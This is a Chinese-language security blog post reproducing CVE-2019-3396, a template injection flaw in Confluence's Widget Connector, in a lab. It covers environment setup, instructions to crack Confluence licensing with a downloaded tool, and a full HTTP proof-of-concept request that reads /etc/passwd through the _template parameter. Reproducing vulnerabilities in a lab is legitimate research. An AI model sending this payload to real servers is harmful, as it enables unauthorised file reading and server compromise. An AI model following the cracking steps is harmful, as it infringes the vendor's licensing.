## 漏洞简介
Confluence是一个专业的企业知识管理与协同软件,常用于构建企业wiki。它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论,信息推送。Confluence Server 与 Confluence Data Center 中的 Widget Connector 存在服务端模板注入漏洞,攻击者构造特定请求可远程遍历服务器任意文件,进而可以包含恶意文件来执行代码。可能造成敏感信息泄露,服务器被控制等严重后果。
## 影响版本
6.6.12之前所有6.6.x版本,6.12.3之前所有6.12.x版本,6.13.13之前所有6.13.x版本,6.14.2之前所有6.14.x版本。
## 环境搭建
### 搭建 Java 运行环境
sudo apt install openjdk-8-jre-headless
java -version
### 配置 mysql 数据库
(注:confluence目前不支持8.0版本,8.0版本的驱动为com.mysql.cj.jdbc.Driver,因此我们安装5.7版本的MySQL)
mysql 老版本[下载地址](https://downloads.mysql.com/archives/community/)
mkdir mysql5.7.31 mv mysql-server_5.7.31-1ubuntu18.04_amd64.deb-bundle.tar ./mysql5.7.31/ cd mysql5.7.31/ sudo tar -vxf mysql-server_5.7.31-1ubuntu18.04_amd64.deb-bundle.tar #解压文件 sudo rm -f mysql-community-test_5.7.31-1ubuntu18.04_amd64.deb sudo rm -f mysql-testsuite_5.7.31-1ubuntu18.04_amd64.deb #删除两个测试相关的包 sudo dpkg -i mysql-\*.deb # 用dpkg进行安装 sudo apt-get install libaio1 sudo apt-get install libtinfo5 # 安装缺少的包 sudo apt --fix-broken install sudo dpkg -i mysql-\*.deb # 再次dpkg进行安装
sudo service mysql stop # 停止 mysql 服务 sudo gedit /etc/mysql/mysql.conf.d/mysqld.cnf #修改MySQL的登录设置,暂时不校验登陆密码,注释掉 symbolic-links 并添加 skip-grant-tables sudo service mysql restart # 重启 mysql 服务 mysql -u root mysql # 免密登录mysql update mysql.user set authentication_string=password('root123456') where user='root'; # 修改 root 用户的密码 flush privileges; # 刷新生效 sudo service mysql stop # 停止 mysql 服务 sudo gedit /etc/mysql/mysql.conf.d/mysqld.cnf # 还原mysql 配置 sudo service mysql restart # 重启 mysql 服务 mysql -u root -proot123456 # 登录mysql create database confluence default character set utf8 collate utf8_bin; # 创建数据库 grant all on confluence.* to 'confluence'@'%' identified by 'confluence123'; # 添加 confluence 用户 grant all on confluence.* to confluence@"localhost" identified by "confluence123"; # 为 confluence 用户授权 select @@global.tx_isolation, @@tx_isolation; set global tx_isolation='read-committed';
### 安装并破解 Confluence
[下载界面](https://www.atlassian.com/software/confluence/download-archives)
选择 [6.12.2 - Linux Installer(64 bit)](https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-6.12.2-x64.bin)
chmod +x atlassian-confluence-6.12.2-x64.bin #修改文件权限
./atlassian-confluence-6.12.2-x64.bin #安装文件
安装完成之后通过访问 虚拟机的 ip+端口8090
选择产品安装
复制出此处的服务器ID:BQFZ-7NOC-Y2SJ-AOGU
在服务器上停止 confluence 的运行 sh /opt/atlassian/confluence/bin/stop-confluence.sh
从服务器上拷贝出文件/opt/atlassian/confluence/confluence/WEB-INF/lib/atlassian-extras-decoder-v2-3.4.1.jar <跟网上文章中提到的位置并不相同,可以通过在根目录下执行 find -name *.jar 来判断文件的位置>
将拷贝的文件重命名为 atlassian-extras-2.4.jar
下载破解工具并运行 破解工具 : 链接:https://pan.baidu.com/s/1Pi_ClXR6T4bLbJ-mPxYXtw 提取码:g3p5
将破解后的 atlassian-extras-2.4.jar 重命名为最初的名字 atlassian-extras-decoder-v2-3.4.1.jar 再拷贝至原来的位置
同时将 [Mysql 驱动](https://mvnrepository.com/artifact/mysql/mysql-connector-java/5.1.48)拷贝到同级目录
在服务器上启动 confluence 的运行 sh /opt/atlassian/confluence/bin/start-confluence.sh
输入授权码之后
~~手动操作基本白给,操作完之后发现根本没有漏洞,确实是属于漏洞范围的版本,但就是没有办法操作成功~~
环境的搭建也可以直接通过 vulhub 来搭建
cd /home/whippet/vulhub-master/confluence/CVE-2019-3396 sudo docker-compose up -d
申请一个注册码
数据库URL jdbc:postgresql://db:5432/confluence
用户名和密码均为 postgres
~~利用vulhub上的镜像也无法利用成功,我想应该是我的 burpsuite 存在问题~~
最后证明是 POC 存在问题
## 漏洞验证
没有一次性的成功运行POC,所以先采用网上的POC进行一个初步的验证
点击预览,修改数据包
POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: 192.168.176.171:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Referer: http://192.168.176.171:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23& Content-Type: application/json; charset=utf-8 Content-Length: 176 {"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"file:///etc/passwd"}}}
本文作者:Whippet
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/156012.html